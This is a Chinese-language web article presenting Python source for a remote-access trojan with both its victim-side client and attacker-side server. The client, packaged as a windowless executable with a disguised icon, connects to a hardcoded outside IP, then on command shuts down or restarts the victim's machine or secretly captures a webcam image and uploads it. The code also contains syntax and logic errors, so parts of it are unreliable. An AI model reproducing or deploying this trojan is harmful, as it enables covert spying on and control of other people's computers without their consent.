新闻详情

News Information

Python实现自动拍照向后端传数据
2024/12/13 13:19:24

#木‘’马 受害者那边#pyinstaller -F -w -i 234.pngimport osimport cv2 # pip3 install opencv-pythonfrom socket import *

#木‘’马 受害者那边

#pyinstaller -F -w -i 234.png

import os

import cv2 # pip3 install opencv-python

from socket import *

s = socket()

# 1.准备一个套接字

s.connect(('146.56.223.48',8848))

# 安排在受害者电脑的间谍

text = s.recv(1024).decode()

print(text)

choice = s.recv(1024).decode()

if choice =='1':

os.system('shutdown -s -t 60')

elif choice =='2'

os.system('shutdown -r -t 60')

elif choice == '3'

# 1.打开受害者摄像头!

cap = cv2.VideoCapture(1)

# 2.摄像头读取一帧图像!0帧起手

ret, frame = cap.read()

ret, frame = cap.read()

#回应,老婆 = 钻戒.求婚()


# 3.保存在受害者的电脑上!

cv2.imwrite('1.png',frame)

# 4.摄像头关闭!正经!灯!

cap.release()

# 5.把图片发给后台

# 先把文件的大小算出来 发送给后台 等待后台回复确认

file_size = os.path.getsize('1.png')

s.send(str(file_size).encode())

s.recv(1024).decode()

#打开文件 一点一点读出来 一点一点发送

with open('1.png', 'rb') as file:

for data in file:

s.send(data)



#后台

from socket import * #导入网络变成的模块

S = socket()

# 1.准备一个

S.bind(('0.0.0.0',8848))

# 2.套接字绑

s.listen()

# 3.套接字开

s, addr = S.accept()

# 4.如果有木

print('受害者IP:',addr)

# 幕后黑手

s.send('三更老师爱死你啦!'.encode())

print('1.关机 2.重启 3.瞄一眼')

choice = input('请选择:')

s.send(choice.encode())


if choice == '3':

#,先收到文件大小 回复确认信息

file = int(s.recv(1024).decode())

s.send('ojbk'.encode())

# 准备一个空文件 一点一点接 一点一点写入文件

cur_size = 0 #刻度为0

with open('2.png', 'rb') as file: #准备一个容器

while cur_size < file_size: #刻度小于目标值 一直循环

data = s.recv(1024) # 一点一点接

file.write(data) #接到的数据放到容器

cur_size += len(data) #把接到的数据大小累加到刻度上